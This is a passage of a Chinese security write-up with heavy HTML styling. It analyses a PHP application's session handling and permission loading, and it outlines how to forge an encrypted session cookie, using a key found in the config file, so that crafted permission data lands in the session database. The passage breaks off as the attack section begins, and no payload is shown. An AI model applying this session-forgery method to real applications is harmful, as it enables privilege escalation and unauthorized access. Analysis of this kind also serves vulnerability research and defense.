s&#39;</span>)</span></code><code><span class="code-snippet_outer">            -&gt;where(<span class="code-snippet__string">&#39;u.id = ?&#39;</span>, $id);</span></code><code><span class="code-snippet_outer">        $user = $q-&gt;fetchOne();</span></code><code><span class="code-snippet_outer">        Doctrine_Manager::connection()-&gt;close();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">empty</span>($user)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">array</span>();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            $user = $user-&gt;toArray();</span></code><code><span class="code-snippet_outer">            $permissions = <span class="code-snippet__keyword">array</span>();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">isset</span>($user[<span class="code-snippet__string">&#39;Role&#39;</span>][<span class="code-snippet__string">&#39;Permission&#39;</span>]) &amp;&amp; !<span class="code-snippet__keyword">empty</span>($user[<span class="code-snippet__string">&#39;Role&#39;</span>][<span class="code-snippet__string">&#39;Permission&#39;</span>])) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">foreach</span> ($user[<span class="code-snippet__string">&#39;Role&#39;</span>][<span class="code-snippet__string">&#39;Permission&#39;</span>] <span class="code-snippet__keyword">as</span> $permission) {</span></code><code><span class="code-snippet_outer">                    $permissions[$permission[<span class="code-snippet__string">&#39;controller&#39;</span>]][$permission[<span class="code-snippet__string">&#39;action&#39;</span>]] = $permission[<span class="code-snippet__string">&#39;id&#39;</span>];</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            $customData = <span class="code-snippet__keyword">$this</span>-&gt;_unserialize($user[<span class="code-snippet__string">&#39;user_data&#39;</span>]);</span></code><code><span class="code-snippet_outer">            array_merge($permisssions, $customData[<span class="code-snippet__string">&#39;permission&#39;</span>]);</span></code><code><span class="code-snippet_outer">            $user[<span class="code-snippet__string">&#39;permissions&#39;</span>] = $permissions;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> $user;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">array</span>();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;margin: 10px;box-sizing: border-box;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">跟踪 findUserById() 的逻辑发现，主要进行了数据库查询操作，但是对于 $permissions，还有一部分来自 session 相关的数据库。</span><br/></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102866" data-color="#1e9be8"><section style="margin: 10px auto;text-align: left;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(255, 255, 255);background: rgb(30, 155, 232);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 20px;">PART5.</span></strong></span></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 20px;">session伪造</span></strong></span></section><section style="box-sizing: border-box;width: 10px;height: 10px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="94255" data-color="#1e9be8"><section style="background: #1e9be8;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-left: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 0.4em 1em;box-sizing: border-box;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">常规数据库可能没办法直接修改，但是 session 数据库也许会伴随用户状态的改变而修改，那么如果 session 数据库中的信息可控，也可以达到我们的目的。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在 Session.php 中可以找到对 cookie 的相应操作。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> ( ! <span class="code-snippet__keyword">$this</span>-&gt;readSess())</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">$this</span>-&gt;createSess();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">$this</span>-&gt;updateSess();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">$this</span>-&gt;markFlashdata();</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">首先看一下 sess_read() 函数</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">readSess</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    $session = <span class="code-snippet__keyword">$this</span>-&gt;CI-&gt;input-&gt;cookie(<span class="code-snippet__keyword">$this</span>-&gt;sess_cookie_name);</span></code><code><span class="code-snippet_outer">    ...... （省略部分校验逻辑）</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">$this</span>-&gt;sess_encrypt_cookie == <span class="code-snippet__keyword">TRUE</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        $session = <span class="code-snippet__keyword">$this</span>-&gt;CI-&gt;encrypt-&gt;decode($session);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    $session = <span class="code-snippet__keyword">$this</span>-&gt;_unserialize($session);</span></code><code><span class="code-snippet_outer">    ......(校验 User-Agent / IP / last_activity 相关)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">$this</span>-&gt;sess_use_database === <span class="code-snippet__keyword">TRUE</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        ......(通过数据库校验 User-Agent / IP / last_activity 相关)</span></code><code><span class="code-snippet_outer">        $query = <span class="code-snippet__keyword">$this</span>-&gt;CI-&gt;db-&gt;get(<span class="code-snippet__keyword">$this</span>-&gt;sess_table_name);</span></code><code><span class="code-snippet_outer">        ......</span></code><code><span class="code-snippet_outer">        $row = $query-&gt;row();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">isset</span>($row-&gt;user_data) <span class="code-snippet__keyword">AND</span> $row-&gt;user_data != <span class="code-snippet__string">&#39;&#39;</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            $customData = <span class="code-snippet__keyword">$this</span>-&gt;_unserialize($row-&gt;user_data);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (is_array($customData))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">foreach</span> ($customData <span class="code-snippet__keyword">as</span> $key =&gt; $val)</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    $session[$key] = $val;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">$this</span>-&gt;userdata = $session;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unset</span>($session);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">TRUE</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">看起来都是常规的操作，</span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.首先校验了 cookie 的合法性，在设置 cookie 时就用了尾部的签名了来做校验；(这部分逻辑在代码中省略)</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.紧接着判断 cookie 中的其他特征，UA、ip 地址、过期时间等等是否合法；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.最后还有一些用户自定义的数据，这些自定义数据先从数据库中取得的，也被放到了 $session 变量中。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然而 $session 变量最开始却是从这里来的：</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">$session = $this-&gt;_unserialize($session);</span></code></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">当然这里似乎还有潜在的反序列化漏洞，不过暂且先不关注。$session 最后在 $this-&gt;userdata = $session; 所以，如果我们直接在 cookie 中构造相应的数据结构，当它被反序列化到 $session 变量后，仍然可以被保存到 userdata 中。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">紧接着 readSess() 之后， markFlashdata() 中调用了 setUserdata() 更新 $userdata，更进一步调用 writeSess() 写入到数据库中，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">setUserdata</span><span class="code-snippet__params">($newdata = array<span class="code-snippet__params">()</span>, $newval = <span class="code-snippet__string">&#39;&#39;</span>)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (count($newdata) &gt; <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">foreach</span> ($newdata <span class="code-snippet__keyword">as</span> $key =&gt; $val)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">$this</span>-&gt;userdata[$key] = $val;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">$this</span>-&gt;writeSess();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后是 writeSess()，这里将 $userdata 做了分类处理，并写入了数据库</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">writeSess</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">    $customUserdata = <span class="code-snippet__keyword">$this</span>-&gt;userdata;</span></code><code><span class="code-snippet_outer">    $cookieUserdata = <span class="code-snippet__keyword">array</span>();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">foreach</span> (<span class="code-snippet__keyword">array</span>(.....) <span class="code-snippet__keyword">as</span> $val)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unset</span>($customUserdata[$val]);</span></code><code><span class="code-snippet_outer">        $cookieUserdata[$val] = <span class="code-snippet__keyword">$this</span>-&gt;userdata[$val];</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    $customUserdata = <span class="code-snippet__keyword">$this</span>-&gt;_serialize($customUserdata);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">$this</span>-&gt;CI-&gt;db-&gt;where(<span class="code-snippet__string">&#39;session_id&#39;</span>, <span class="code-snippet__keyword">$this</span>-&gt;userdata[<span class="code-snippet__string">&#39;session_id&#39;</span>]);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">$this</span>-&gt;CI-&gt;db-&gt;update(<span class="code-snippet__keyword">$this</span>-&gt;sess_table_name, <span class="code-snippet__keyword">array</span>(......, <span class="code-snippet__string">&#39;user_data&#39;</span> =&gt; $customUserdata));</span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中，这也是我们想要操作的数据。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">接下来就要着手伪造 cookie 了，本地执行对应的加解密算法。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">加密部分：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">encode</span><span class="code-snippet__params">($string, $key = <span class="code-snippet__string">&#39;&#39;</span>)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    $key = <span class="code-snippet__keyword">$this</span>-&gt;get_key($key);</span></code><code><span class="code-snippet_outer">    $enc = <span class="code-snippet__keyword">$this</span>-&gt;cryptEncode($string, $key);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> base64_encode($enc);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">解密部分：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">decode</span><span class="code-snippet__params">($string, $key = <span class="code-snippet__string">&#39;&#39;</span>)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    $key = <span class="code-snippet__keyword">$this</span>-&gt;getKey($key);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (preg_match(<span class="code-snippet__string">&#39;/[^a-zA-Z0-9\/\+=]/&#39;</span>, $string))</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">FALSE</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    $dec = base64_decode($string);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (($dec = <span class="code-snippet__keyword">$this</span>-&gt;cryptDecode($dec, $key)) === <span class="code-snippet__keyword">FALSE</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">FALSE</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> $dec;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">$key 可以在配置文件中拿到。</span><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">具体 mcrypt_decode() 和 mcrypt_encode() 的代码很长，此处省略。</span></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102866" data-color="#1e9be8"><section style="margin: 10px auto;text-align: left;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(255, 255, 255);background: rgb(30, 155, 232);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 20px;">PART6.</span></strong></span></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 4px 1em;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 20px;">正式攻击</span></strong></span></section><section style="box-sizing: border-box;width: 10px;height: 10px;background: rgb(30, 155, 232);color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;margin-bottom: 5px;display: inline-block;height: 1px;background: none rgb(30, 155, 232);align-self: center;flex: 1 1 0%;margin-top: 5px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="94255" data-color="#1e9be8"><section style="background: #1e9be8;border-radius: 10px;padding: 4px;box-sizing: border-box;color: #ffffff;"><section style="background: #fefefe;border-radius:10px;"><section style="text-align: left;margin-left: 10px;padding-top: 10px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-left: 10px;margin-bottom: -5px;overflow: 